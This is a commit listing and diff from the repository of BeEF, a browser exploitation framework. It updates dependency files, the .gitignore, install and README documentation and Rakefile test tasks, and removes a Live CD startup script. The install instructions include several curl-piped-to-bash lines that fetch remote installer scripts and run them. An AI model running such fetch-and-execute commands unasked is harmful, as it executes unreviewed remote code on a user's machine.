e321d6e3d8 | ||
|
|
3433e44d74 | ||
|
|
152edc445d | ||
|
|
81be99074a | ||
|
|
d81dc8044e | ||
|
|
56d6b54d08 | ||
|
|
2d9b894a3c | ||
|
|
3c4a0fad34 | ||
|
|
63b7d44a5e | ||
|
|
f584403a92 | ||
|
|
efa4854b79 | ||
|
|
cc49004189 | ||
|
|
c8c6d30468 | ||
|
|
fcbd2516e6 | ||
|
|
224cf0c7d0 | ||
|
|
c2dbc50d00 | ||
|
|
c1fefecf70 | ||
|
|
60589dc607 | ||
|
|
5d9821aa74 | ||
|
|
0f40a0fb9a | ||
|
|
6c16a89328 | ||
|
|
e275e4001c | ||
|
|
644a53cb2c | ||
|
|
87afb9a31b | ||
|
|
bd2b002314 | ||
|
|
15eb6a4b07 | ||
|
|
da7a7b9603 | ||
|
|
3fe37ec7b1 | ||
|
|
9c6802cd8f | ||
|
|
00ad35d878 | ||
|
|
cae2559fa3 | ||
|
|
ba02b6ec87 | ||
|
|
12fe2ed86c | ||
|
|
c0a256f1b0 | ||
|
|
1ce620a626 | ||
|
|
cea8a4b0e3 | ||
|
|
1cd83663aa | ||
|
|
b6b968a7a0 | ||
|
|
276d465dd1 | ||
|
|
8947d78d66 | ||
|
|
98da93fb12 | ||
|
|
f39b16712a | ||
|
|
d976e86cbe | ||
|
|
0244980db0 | ||
|
|
0580b86744 | ||
|
|
701dd34c83 | ||
|
|
fe40038441 | ||
|
|
ba5ee180e4 | ||
|
|
ca72854911 | ||
|
|
bdab1028f5 | ||
|
|
4e7e1129bb | ||
|
|
7b4d4de3eb | ||
|
|
df365b74c2 | ||
|
|
612343990d | ||
|
|
c708a60bdd | ||
|
|
6ce3581ae5 | ||
|
|
4cee2c550f | ||
|
|
a5e7823588 | ||
|
|
8c74fdd680 | ||
|
|
f10cf3eb5b | ||
|
|
1333e48d3a | ||
|
|
006719768a |
103
.gitignore
vendored
103
.gitignore
vendored
@@ -1,3 +1,104 @@
|
||||
### BeEF ###
|
||||
beef.db
|
||||
test/msf-test
|
||||
custom-config.yaml
|
||||
extensions/admin_ui/media/javascript-min/
|
||||
custom-config.yaml
|
||||
.DS_Store
|
||||
.gitignore
|
||||
.rvmrc
|
||||
|
||||
*.lock
|
||||
|
||||
extensions/metasploit/msf-exploits.cache
|
||||
|
||||
# The following lines were created by https://www.gitignore.io
|
||||
|
||||
### Linux ###
|
||||
*~
|
||||
|
||||
# KDE directory preferences
|
||||
.directory
|
||||
|
||||
|
||||
### vim ###
|
||||
[._]*.s[a-w][a-z]
|
||||
[._]s[a-w][a-z]
|
||||
*.un~
|
||||
Session.vim
|
||||
.netrwhist
|
||||
*~
|
||||
|
||||
|
||||
### Emacs ###
|
||||
# -*- mode: gitignore; -*-
|
||||
*~
|
||||
\#*\#
|
||||
/.emacs.desktop
|
||||
/.emacs.desktop.lock
|
||||
*.elc
|
||||
auto-save-list
|
||||
tramp
|
||||
.\#*
|
||||
|
||||
# Org-mode
|
||||
.org-id-locations
|
||||
*_archive
|
||||
|
||||
# flymake-mode
|
||||
*_flymake.*
|
||||
|
||||
# eshell files
|
||||
/eshell/history
|
||||
/eshell/lastdir
|
||||
|
||||
# elpa packages
|
||||
/elpa/
|
||||
|
||||
# reftex files
|
||||
*.rel
|
||||
|
||||
# AUCTeX auto folder
|
||||
/auto/
|
||||
|
||||
# cask packages
|
||||
.cask/
|
||||
|
||||
|
||||
### nanoc ###
|
||||
# For projects using nanoc (http://nanoc.ws/)
|
||||
|
||||
# Default location for output, needs to match output_dir's value found in config.yaml
|
||||
output/
|
||||
|
||||
# Temporary file directory
|
||||
tmp/
|
||||
|
||||
# Crash Log
|
||||
crash.log
|
||||
|
||||
|
||||
### Windows ###
|
||||
# Windows image file caches
|
||||
Thumbs.db
|
||||
ehthumbs.db
|
||||
|
||||
# Folder config file
|
||||
Desktop.ini
|
||||
|
||||
# Recycle Bin used on file shares
|
||||
$RECYCLE.BIN/
|
||||
|
||||
# Windows Installer files
|
||||
*.cab
|
||||
*.msi
|
||||
*.msm
|
||||
*.msp
|
||||
|
||||
# Windows shortcuts
|
||||
*.lnk
|
||||
|
||||
|
||||
### TortoiseGit ###
|
||||
# Project-level settings
|
||||
/.tgitconfig
|
||||
|
||||
|
||||
1
.ruby-gemset
Normal file
1
.ruby-gemset
Normal file
@@ -0,0 +1 @@
|
||||
beef
|
||||
1
.ruby-version
Normal file
1
.ruby-version
Normal file
@@ -0,0 +1 @@
|
||||
2.2.4
|
||||
110
BeEFLive.sh
110
BeEFLive.sh
@@ -1,110 +0,0 @@
|
||||
#!/bin/bash
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'home/beef/doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
|
||||
#
|
||||
# This is the auto startup script for the BeEF Live CD.
|
||||
# IT SHOULD ONLY BE RUN ON THE LIVE CD
|
||||
# Download LiveCD here: https://github.com/beefproject/beef/downloads
|
||||
#
|
||||
# This script contains a few fixes to make BeEF play nicely with the way
|
||||
# remastersys creates the live cd distributable as well as generating host keys
|
||||
# to enable SSH etc. The script also make it easy for the user to update/start
|
||||
# the BeEF server
|
||||
#
|
||||
clear
|
||||
echo "======================================"
|
||||
echo " BeEF Live CD "
|
||||
echo "======================================"
|
||||
echo ""
|
||||
echo "Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net"
|
||||
echo "Browser Exploitation Framework (BeEF) - http://beefproject.com"
|
||||
echo "See the file 'home/beef/doc/COPYING' for copying permission"
|
||||
echo ""
|
||||
|
||||
echo "Welcome to the BeEF Live CD"
|
||||
echo ""
|
||||
echo ""
|
||||
|
||||
#
|
||||
# Check for SSH Host Keys - if they do not exist ask user if they should be
|
||||
# created (remastersys has a habit of deleting them during Live CD Creation)
|
||||
#
|
||||
f1="/etc/ssh/ssh_host_rsa_key"
|
||||
if [ -f $f1 ]
|
||||
then
|
||||
echo ""
|
||||
else
|
||||
echo -n "Would you like to enable ssh (y/N)? "
|
||||
read var
|
||||
|
||||
if [ $var = "y" ] ; then
|
||||
sudo ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key -N ''
|
||||
sudo ssh-keygen -t dsa -f /etc/ssh/ssh_host_dsa_key -N ''
|
||||
echo ""
|
||||
echo "Please provide a password for ssh user: beef"
|
||||
sudo passwd beef
|
||||
echo "ssh enabled"
|
||||
fi
|
||||
fi
|
||||
echo ""
|
||||
|
||||
#
|
||||
# Prompt the user if they would like to update BeEF and
|
||||
# other components installed (such as sqlmap and msf)
|
||||
#
|
||||
echo -n "Check and install updates for BeEF (y/N)? "
|
||||
read var
|
||||
|
||||
if [ $var = "y" ] ; then
|
||||
cd /opt/beef
|
||||
git stash
|
||||
git pull
|
||||
fi
|
||||
echo ""
|
||||
|
||||
echo -n "Check and install updates for msf and sqlmap (y/N)? "
|
||||
read var
|
||||
|
||||
if [ $var = "y" ] ; then
|
||||
cd /opt/sqlmap
|
||||
git stash
|
||||
git pull
|
||||
cd /opt/metasploit-framework
|
||||
git stash
|
||||
git pull
|
||||
fi
|
||||
|
||||
|
||||
#
|
||||
# Create a shortcut in the user's home folder to BeEF, msf and sqlmap
|
||||
# (if they do not yet exist)
|
||||
#
|
||||
f1="beef"
|
||||
if [ -f $f1 ] ; then
|
||||
echo ""
|
||||
else
|
||||
ln -s /opt/beef/ beef
|
||||
ln -s /opt/metasploit-framework/ msf
|
||||
ln -s /opt/sqlmap/ sqlmap
|
||||
fi
|
||||
|
||||
#
|
||||
# Prompt the user if they would like start BeEF
|
||||
#
|
||||
echo -n "Start BeEF (y/N)? "
|
||||
read var
|
||||
|
||||
if [ $var = "y" ] ; then
|
||||
echo ""
|
||||
echo "Starting BeEF..";
|
||||
|
||||
cd /opt/beef
|
||||
ruby beef -x
|
||||
fi
|
||||
|
||||
|
||||
85
Gemfile
85
Gemfile
@@ -1,51 +1,66 @@
|
||||
# BeEF's Gemfile
|
||||
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
# Gems only required on Windows, or with specific Windows issues
|
||||
if RUBY_PLATFORM.downcase.include?("mswin") || RUBY_PLATFORM.downcase.include?("mingw")
|
||||
gem "win32console"
|
||||
gem "eventmachine", "1.0.0.beta.4.1"
|
||||
else
|
||||
gem "eventmachine", "0.12.10"
|
||||
gem 'eventmachine'
|
||||
gem 'thin'
|
||||
gem 'sinatra'
|
||||
gem 'rack'
|
||||
gem 'em-websocket', '~> 0.3.6' # WebSocket support
|
||||
gem 'uglifier', '~> 2.2.1'
|
||||
gem 'mime-types'
|
||||
|
||||
|
||||
# Windows support
|
||||
if RUBY_PLATFORM.downcase.include?('mswin') || RUBY_PLATFORM.downcase.include?('mingw')
|
||||
# make sure you install this gem following https://github.com/hiranpeiris/therubyracer_for_windows
|
||||
gem 'therubyracer', '~> 0.11.0beta1'
|
||||
gem 'execjs'
|
||||
gem 'win32console'
|
||||
elsif !RUBY_PLATFORM.downcase.include?('darwin')
|
||||
gem 'therubyracer', '0.11.3'
|
||||
gem 'execjs'
|
||||
end
|
||||
|
||||
|
||||
gem "thin"
|
||||
gem "sinatra", "1.3.2"
|
||||
gem "em-websocket", "~> 0.3.6"
|
||||
gem "jsmin", "~> 1.0.1"
|
||||
gem "ansi"
|
||||
gem "term-ansicolor", :require => "term/ansicolor"
|
||||
gem "dm-core"
|
||||
gem "json"
|
||||
gem "data_objects"
|
||||
gem "dm-sqlite-adapter"
|
||||
gem "parseconfig"
|
||||
gem "erubis"
|
||||
gem "dm-migrations"
|
||||
gem "msfrpc-client"
|
||||
|
||||
# notifications
|
||||
gem "twitter"
|
||||
gem 'ansi'
|
||||
gem 'term-ansicolor', :require => 'term/ansicolor'
|
||||
gem 'dm-core'
|
||||
gem 'json'
|
||||
gem 'data_objects'
|
||||
gem 'dm-sqlite-adapter' # SQLite support
|
||||
#gem dm-postgres-adapter # PostgreSQL support
|
||||
#gem dm-mysql-adapter # MySQL support
|
||||
gem 'parseconfig'
|
||||
gem 'erubis'
|
||||
gem 'dm-migrations'
|
||||
gem 'msfrpc-client' # Metasploit Integration extension
|
||||
#gem 'twitter', '>= 5.0.0' # Twitter Notifications extension
|
||||
gem 'rubyzip', '>= 1.0.0'
|
||||
gem 'rubydns', '0.7.0' # DNS extension
|
||||
gem 'geoip' # geolocation support
|
||||
gem 'dm-serializer' # network extension
|
||||
gem 'qr4r' # QRcode extension
|
||||
|
||||
# For running unit tests
|
||||
if ENV['BEEF_TEST']
|
||||
# for running unit tests
|
||||
gem "test-unit"
|
||||
gem "test-unit-full"
|
||||
gem "curb"
|
||||
gem "test-unit"
|
||||
gem "selenium"
|
||||
gem "selenium-webdriver"
|
||||
gem 'test-unit'
|
||||
gem 'test-unit-full'
|
||||
gem 'curb'
|
||||
gem 'selenium'
|
||||
gem 'selenium-webdriver'
|
||||
gem 'rspec'
|
||||
gem 'bundler-audit'
|
||||
# nokogirl is needed by capybara which may require one of the below commands
|
||||
# sudo apt-get install libxslt-dev libxml2-dev
|
||||
# sudo port install libxml2 libxslt
|
||||
gem "capybara"
|
||||
#RESTful API tests/generic command module tests
|
||||
gem "rest-client", "~> 1.6.7"
|
||||
gem 'capybara'
|
||||
# RESTful API tests/generic command module tests
|
||||
gem 'rest-client', '~> 1.8.0'
|
||||
end
|
||||
|
||||
source "http://rubygems.org"
|
||||
source 'https://rubygems.org'
|
||||
|
||||
213
Gemfile.lock
Normal file
213
Gemfile.lock
Normal file
@@ -0,0 +1,213 @@
|
||||
GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
addressable (2.3.6)
|
||||
ansi (1.4.3)
|
||||
atk (3.0.7)
|
||||
glib2 (= 3.0.7)
|
||||
bundler-audit (0.4.0)
|
||||
bundler (~> 1.2)
|
||||
thor (~> 0.18)
|
||||
cairo (1.14.3)
|
||||
pkg-config (>= 1.1.5)
|
||||
capybara (2.5.0)
|
||||
mime-types (>= 1.16)
|
||||
nokogiri (>= 1.3.3)
|
||||
rack (>= 1.0.0)
|
||||
rack-test (>= 0.5.4)
|
||||
xpath (~> 2.0)
|
||||
childprocess (0.5.8)
|
||||
ffi (~> 1.0, >= 1.0.11)
|
||||
chunky_png (1.3.5)
|
||||
curb (0.8.8)
|
||||
daemons (1.1.9)
|
||||
data_objects (0.10.14)
|
||||
addressable (~> 2.1)
|
||||
diff-lcs (1.2.5)
|
||||
dm-core (1.2.1)
|
||||
addressable (~> 2.3)
|
||||
dm-do-adapter (1.2.0)
|
||||
data_objects (~> 0.10.6)
|
||||
dm-core (~> 1.2.0)
|
||||
dm-migrations (1.2.0)
|
||||
dm-core (~> 1.2.0)
|
||||
dm-serializer (1.2.2)
|
||||
dm-core (~> 1.2.0)
|
||||
fastercsv (~> 1.5)
|
||||
json (~> 1.6)
|
||||
json_pure (~> 1.6)
|
||||
multi_json (~> 1.0)
|
||||
dm-sqlite-adapter (1.2.0)
|
||||
dm-do-adapter (~> 1.2.0)
|
||||
do_sqlite3 (~> 0.10.6)
|
||||
do_sqlite3 (0.10.14)
|
||||
data_objects (= 0.10.14)
|
||||
domain_name (0.5.25)
|
||||
unf (>= 0.0.5, < 1.0.0)
|
||||
em-websocket (0.3.8)
|
||||
addressable (>= 2.1.1)
|
||||
eventmachine (>= 0.12.9)
|
||||
erubis (2.7.0)
|
||||
eventmachine (1.0.7)
|
||||
execjs (2.0.2)
|
||||
fastercsv (1.5.5)
|
||||
ffi (1.9.10)
|
||||
gdk_pixbuf2 (3.0.7)
|
||||
glib2 (= 3.0.7)
|
||||
geoip (1.4.0)
|
||||
glib2 (3.0.7)
|
||||
pkg-config
|
||||
gtk2 (3.0.7)
|
||||
atk (= 3.0.7)
|
||||
gdk_pixbuf2 (= 3.0.7)
|
||||
pango (= 3.0.7)
|
||||
hoe (3.14.2)
|
||||
rake (>= 0.8, < 11.0)
|
||||
http-cookie (1.0.2)
|
||||
domain_name (~> 0.5)
|
||||
jar_wrapper (0.1.8)
|
||||
zip
|
||||
json (1.8.1)
|
||||
json_pure (1.8.3)
|
||||
librex (0.0.68)
|
||||
mime-types (2.99)
|
||||
mini_portile (0.6.2)
|
||||
mojo_magick (0.5.6)
|
||||
msfrpc-client (1.0.1)
|
||||
librex (>= 0.0.32)
|
||||
msgpack (>= 0.4.5)
|
||||
msgpack (0.5.8)
|
||||
multi_json (1.9.3)
|
||||
netrc (0.11.0)
|
||||
nokogiri (1.6.6.4)
|
||||
mini_portile (~> 0.6.0)
|
||||
pango (3.0.7)
|
||||
cairo (>= 1.14.0)
|
||||
glib2 (= 3.0.7)
|
||||
parseconfig (1.0.4)
|
||||
pkg-config (1.1.6)
|
||||
power_assert (0.2.6)
|
||||
qr4r (0.4.0)
|
||||
mojo_magick
|
||||
rqrcode
|
||||
rack (1.5.2)
|
||||
rack-protection (1.5.3)
|
||||
rack
|
||||
rack-test (0.6.3)
|
||||
rack (>= 1.0)
|
||||
rainbow (2.0.0)
|
||||
rake (10.4.2)
|
||||
rest-client (1.8.0)
|
||||
http-cookie (>= 1.0.2, < 2.0)
|
||||
mime-types (>= 1.16, < 3.0)
|
||||
netrc (~> 0.7)
|
||||
rexec (1.6.3)
|
||||
rainbow
|
||||
rqrcode (0.7.0)
|
||||
chunky_png
|
||||
rr (1.1.2)
|
||||
rspec (3.4.0)
|
||||
rspec-core (~> 3.4.0)
|
||||
rspec-expectations (~> 3.4.0)
|
||||
rspec-mocks (~> 3.4.0)
|
||||
rspec-core (3.4.1)
|
||||
rspec-support (~> 3.4.0)
|
||||
rspec-expectations (3.4.0)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.4.0)
|
||||
rspec-mocks (3.4.0)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.4.0)
|
||||
rspec-support (3.4.1)
|
||||
rubydns (0.7.0)
|
||||
eventmachine (~> 1.0.0)
|
||||
rexec (~> 1.6.2)
|
||||
rubyzip (1.1.3)
|
||||
selenium (0.2.11)
|
||||
jar_wrapper
|
||||
selenium-webdriver (2.48.1)
|
||||
childprocess (~> 0.5)
|
||||
multi_json (~> 1.0)
|
||||
rubyzip (~> 1.0)
|
||||
websocket (~> 1.0)
|
||||
sinatra (1.4.2)
|
||||
rack (~> 1.5, >= 1.5.2)
|
||||
rack-protection (~> 1.4)
|
||||
tilt (~> 1.3, >= 1.3.4)
|
||||
term-ansicolor (1.1.5)
|
||||
test-unit (3.1.5)
|
||||
power_assert
|
||||
test-unit-full (0.0.3)
|
||||
test-unit
|
||||
test-unit-notify
|
||||
test-unit-rr
|
||||
test-unit-runner-fox
|
||||
test-unit-runner-gtk2
|
||||
test-unit-runner-tk
|
||||
test-unit-notify (1.0.4)
|
||||
test-unit (>= 2.4.9)
|
||||
test-unit-rr (1.0.3)
|
||||
rr (>= 1.1.1)
|
||||
test-unit (>= 2.5.2)
|
||||
test-unit-runner-fox (0.0.1)
|
||||
hoe (>= 1.6.0)
|
||||
test-unit-runner-gtk2 (0.0.2)
|
||||
gtk2
|
||||
test-unit
|
||||
test-unit-runner-tk (0.0.1)
|
||||
hoe (>= 1.6.0)
|
||||
thin (1.6.2)
|
||||
daemons (>= 1.0.9)
|
||||
eventmachine (>= 1.0.0)
|
||||
rack (>= 1.0.0)
|
||||
thor (0.19.1)
|
||||
tilt (1.4.1)
|
||||
uglifier (2.2.1)
|
||||
execjs (>= 0.3.0)
|
||||
multi_json (~> 1.0, >= 1.0.2)
|
||||
unf (0.1.4)
|
||||
unf_ext
|
||||
unf_ext (0.0.7.1)
|
||||
websocket (1.2.2)
|
||||
xpath (2.0.0)
|
||||
nokogiri (~> 1.3)
|
||||
zip (2.0.2)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
||||
DEPENDENCIES
|
||||
ansi
|
||||
bundler-audit
|
||||
capybara
|
||||
curb
|
||||
data_objects
|
||||
dm-core
|
||||
dm-migrations
|
||||
dm-serializer
|
||||
dm-sqlite-adapter
|
||||
em-websocket (~> 0.3.6)
|
||||
erubis
|
||||
eventmachine
|
||||
geoip
|
||||
json
|
||||
mime-types
|
||||
msfrpc-client
|
||||
parseconfig
|
||||
qr4r
|
||||
rack
|
||||
rest-client (~> 1.8.0)
|
||||
rspec
|
||||
rubydns (= 0.7.0)
|
||||
rubyzip (>= 1.0.0)
|
||||
selenium
|
||||
selenium-webdriver
|
||||
sinatra
|
||||
term-ansicolor
|
||||
test-unit
|
||||
test-unit-full
|
||||
thin
|
||||
uglifier (~> 2.2.1)
|
||||
|
||||
BUNDLED WITH
|
||||
1.10.6
|
||||
27
INSTALL.txt
27
INSTALL.txt
@@ -1,6 +1,6 @@
|
||||
===============================================================================
|
||||
|
||||
Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
|
||||
@@ -26,12 +26,17 @@ Installation
|
||||
|
||||
|
||||
2. Prerequisites (Windows)
|
||||
|
||||
!!! This must be done PRIOR to running the bundle install command !!!
|
||||
|
||||
Windows requires the sqlite.dll. Simply grab the zip file below and extract it to your Ruby bin directory:
|
||||
|
||||
http://www.sqlite.org/sqlitedll-3_7_0_1.zip
|
||||
|
||||
|
||||
Other than that, you also need TheRubyRacer. As it's painful to install it on Windows, you can download 2 pre-compiled V8 DLLs and 2 gems from https://github.com/eakmotion/therubyracer_for_windows.
|
||||
|
||||
Finally, edit beef's gem lock file by replacing the required ruby racer version with the version downloaded from the link above.
|
||||
|
||||
3. Prerequisites (Linux)
|
||||
|
||||
!!! This must be done PRIOR to running the bundle install command !!!
|
||||
@@ -39,26 +44,26 @@ Installation
|
||||
On linux you will need to find the packages specific to your distribution for sqlite. An example for Ubuntu systems is:
|
||||
|
||||
3.0. sudo apt-get install libsqlite3-dev sqlite3 sqlite3-doc
|
||||
3.1. install rvm from rvm.beginrescueend.com, this takes care of the various incompatable and conflicting ruby packages that are required
|
||||
3.2. rvm install 1.9.2
|
||||
3.3. rvm use 1.9.2
|
||||
3.1. install rvm from rvm.beginrescueend.com, this takes care of the various incompatible and conflicting ruby packages that are required
|
||||
3.2. rvm install 1.9.3-p484
|
||||
3.3. rvm use 1.9.3
|
||||
|
||||
4. Prerequisites (Mac OSX)
|
||||
|
||||
- XCode: provides the sqlite support BeEF needs
|
||||
|
||||
- Ruby 1.9
|
||||
To install RVM and Ruby 1.9.3 on Mac OS:
|
||||
$ bash -s stable < <(curl -s https://raw.github.com/wayneeseguin/rvm/master/binscripts/rvm-installer) source ~/.bash_profile
|
||||
$ rvm install 1.9.3-p0 --with-gcc=clang
|
||||
To install RVM and Ruby 1.9.3 on Mac OS:
|
||||
$ bash -s stable < <(curl -Ls https://raw.githubusercontent.com/wayneeseguin/rvm/master/binscripts/rvm-installer) source ~/.bash_profile
|
||||
$ rvm install 1.9.3-p484
|
||||
$ rvm use 1.9.3
|
||||
|
||||
|
||||
5. Install instructions
|
||||
|
||||
Obtain application code either by downloading an archive from https://github.com/beefproject/beef/zipball/master or cloning the GIT repo git@github.com:beefproject/beef.git
|
||||
Obtain application code either by downloading an archive from https://github.com/beefproject/beef/archive/master.zip or cloning the GIT repo https://github.com/beefproject/beef.git
|
||||
|
||||
Navigate to the ruby source directory and run:
|
||||
Enter into the newly created BeEF directory, and type:
|
||||
|
||||
bundle install
|
||||
|
||||
@@ -68,4 +73,4 @@ Installation
|
||||
|
||||
Simply run:
|
||||
|
||||
./beef
|
||||
./beef -x
|
||||
|
||||
32
README
32
README
@@ -1,6 +1,6 @@
|
||||
===============================================================================
|
||||
|
||||
Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
|
||||
@@ -24,7 +24,9 @@ Please, send us pull requests!
|
||||
|
||||
Web: http://beefproject.com/
|
||||
|
||||
Mail: beef-subscribe@bindshell.net
|
||||
Bugs: https://github.com/beefproject/beef
|
||||
|
||||
Security Bugs: security@beefproject.com
|
||||
|
||||
IRC: ircs://irc.freenode.net/beefproject
|
||||
|
||||
@@ -35,24 +37,9 @@ Requirements
|
||||
------------
|
||||
|
||||
* OSX 10.5.0 or higher, Modern Linux, Windows XP or higher
|
||||
* [Ruby](http://rubylang.org) 1.9.2 RVM or higher
|
||||
* [Ruby](http://rubylang.org) 1.9.2 or higher
|
||||
* [SQLite](http://sqlite.org) 3.x
|
||||
* The following GEMS:
|
||||
- bundler
|
||||
- thin
|
||||
- Sinatra
|
||||
- ANSI
|
||||
- TERM-ANSIcolor
|
||||
- dm-core
|
||||
- json
|
||||
- data_objects
|
||||
- dm-sqlite-adapter
|
||||
- parseconfig
|
||||
- erubis
|
||||
- dm-migrations
|
||||
- msfrpc-client
|
||||
- eventmachine
|
||||
- win32console (Windows Only)
|
||||
* The gems listed in the Gemfile: https://github.com/beefproject/beef/blob/master/Gemfile
|
||||
|
||||
|
||||
Quick Start
|
||||
@@ -60,15 +47,16 @@ Quick Start
|
||||
|
||||
__The following is for the impatient.__
|
||||
|
||||
For full installation details (including on Microsoft Windows), please refer to INSTALL.txt.
|
||||
For full installation details (including on Microsoft Windows), please refer to INSTALL.txt.
|
||||
We also have a Wiki page at https://github.com/beefproject/beef/wiki/Installation
|
||||
|
||||
$ bash -s stable < <(curl -s https://raw.github.com/beefproject/beef/a6a7536e736e7788e12df91756a8f132ced24970/install-beef)
|
||||
$ bash -s stable < <(curl -Ls https://raw.githubusercontent.com/beefproject/beef/a6a7536e736e7788e12df91756a8f132ced24970/install-beef)
|
||||
|
||||
|
||||
Usage
|
||||
-----
|
||||
|
||||
To get started, simply execute beef and follow the instrustions:
|
||||
To get started, simply execute beef and follow the instructions:
|
||||
|
||||
$ ./beef
|
||||
|
||||
|
||||
33
README.mkd
33
README.mkd
@@ -1,6 +1,6 @@
|
||||
===============================================================================
|
||||
|
||||
Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
|
||||
@@ -24,7 +24,9 @@ __Please, send us pull requests!__
|
||||
|
||||
__Web:__ http://beefproject.com/
|
||||
|
||||
__Mail:__ beef-subscribe@bindshell.net
|
||||
__Bugs:__ https://github.com/beefproject/beef
|
||||
|
||||
__Security Bugs:__ security@beefproject.com
|
||||
|
||||
__IRC:__ ircs://irc.freenode.net/beefproject
|
||||
|
||||
@@ -35,24 +37,9 @@ Requirements
|
||||
------------
|
||||
|
||||
* OSX 10.5.0 or higher, Modern Linux, Windows XP or higher
|
||||
* [Ruby](http://rubylang.org) 1.9.2 RVM or higher
|
||||
* [Ruby](http://rubylang.org) 1.9.2 or higher
|
||||
* [SQLite](http://sqlite.org) 3.x
|
||||
* The following GEMS:
|
||||
- bundler
|
||||
- thin
|
||||
- Sinatra
|
||||
- ANSI
|
||||
- TERM-ANSIcolor
|
||||
- dm-core
|
||||
- json
|
||||
- data_objects
|
||||
- dm-sqlite-adapter
|
||||
- parseconfig
|
||||
- erubis
|
||||
- dm-migrations
|
||||
- msfrpc-client
|
||||
- eventmachine
|
||||
- win32console (Windows Only)
|
||||
* The gems listed in the Gemfile: https://github.com/beefproject/beef/blob/master/Gemfile
|
||||
|
||||
|
||||
Quick Start
|
||||
@@ -60,9 +47,10 @@ Quick Start
|
||||
|
||||
__The following is for the impatient.__
|
||||
|
||||
For full installation details (including on Microsoft Windows), please refer to INSTALL.txt.
|
||||
For full installation details (including on Microsoft Windows), please refer to INSTALL.txt.
|
||||
We also have a Wiki page at https://github.com/beefproject/beef/wiki/Installation
|
||||
|
||||
$ curl https://raw.github.com/beefproject/beef/a6a7536e/install-beef | bash -s stable
|
||||
$ curl -L https://raw.githubusercontent.com/beefproject/beef/a6a7536e/install-beef | bash -s stable
|
||||
|
||||
|
||||
Usage
|
||||
@@ -72,3 +60,6 @@ To get started, simply execute beef and follow the instructions:
|
||||
|
||||
$ ./beef
|
||||
|
||||
On windows use
|
||||
|
||||
$ ruby beef
|
||||
|
||||
68
Rakefile
68
Rakefile
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -8,14 +8,14 @@ task :default => ["quick"]
|
||||
|
||||
desc "Run quick tests"
|
||||
task :quick do
|
||||
Rake::Task['unit'].invoke # run unit tests
|
||||
Rake::Task['unit'].invoke # run unit tests
|
||||
end
|
||||
|
||||
desc "Run all tests"
|
||||
task :all do
|
||||
Rake::Task['integration'].invoke # run integration tests
|
||||
Rake::Task['unit'].invoke # run unit tests
|
||||
Rake::Task['msf'].invoke # run msf tests
|
||||
Rake::Task['integration'].invoke # run integration tests
|
||||
Rake::Task['unit'].invoke # run unit tests
|
||||
Rake::Task['msf'].invoke # run msf tests
|
||||
end
|
||||
|
||||
desc "Run automated tests (for Jenkins)"
|
||||
@@ -38,17 +38,51 @@ task :unit => ["install"] do
|
||||
end
|
||||
|
||||
desc "Run MSF unit tests"
|
||||
task :msf => ["install", "msf_install"] do
|
||||
task :msf => ["install", "msf_install"] do
|
||||
Rake::Task['msf_update'].invoke
|
||||
Rake::Task['msf_start'].invoke
|
||||
sh "cd test/thirdparty/msf/unit/;ruby -W0 ts_metasploit.rb"
|
||||
Rake::Task['msf_stop'].invoke
|
||||
end
|
||||
|
||||
task :install do
|
||||
sh "export BEEF_TEST=true;bundle install"
|
||||
|
||||
################################
|
||||
# run bundle-audit
|
||||
|
||||
namespace :bundle_audit do
|
||||
require 'bundler/audit/cli'
|
||||
|
||||
desc 'Update bundle-audit database'
|
||||
task :update do
|
||||
Bundler::Audit::CLI.new.update
|
||||
end
|
||||
|
||||
desc 'Check gems for vulns using bundle-audit'
|
||||
task :check do
|
||||
Bundler::Audit::CLI.new.check
|
||||
end
|
||||
|
||||
desc 'Update vulns database and check gems using bundle-audit'
|
||||
task :run do
|
||||
Rake::Task['bundle_audit:update'].invoke
|
||||
Rake::Task['bundle_audit:check'].invoke
|
||||
end
|
||||
end
|
||||
|
||||
desc "Run bundle-audit"
|
||||
task :bundle_audit do
|
||||
Rake::Task['bundle_audit:run'].invoke
|
||||
end
|
||||
|
||||
|
||||
################################
|
||||
# Install
|
||||
|
||||
#task :install do
|
||||
# sh "export BEEF_TEST=true"
|
||||
#end
|
||||
|
||||
|
||||
################################
|
||||
# X11 set up
|
||||
|
||||
@@ -57,7 +91,7 @@ end
|
||||
task :xserver_start do
|
||||
printf "Starting X11 Server (wait 10 seconds)..."
|
||||
@xserver_process_id = IO.popen("/usr/bin/Xvfb :0 -screen 0 1024x768x24 2> /dev/null", "w+")
|
||||
delays = [2, 2, 1, 1, 1, 0.5, 0.5 , 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
|
||||
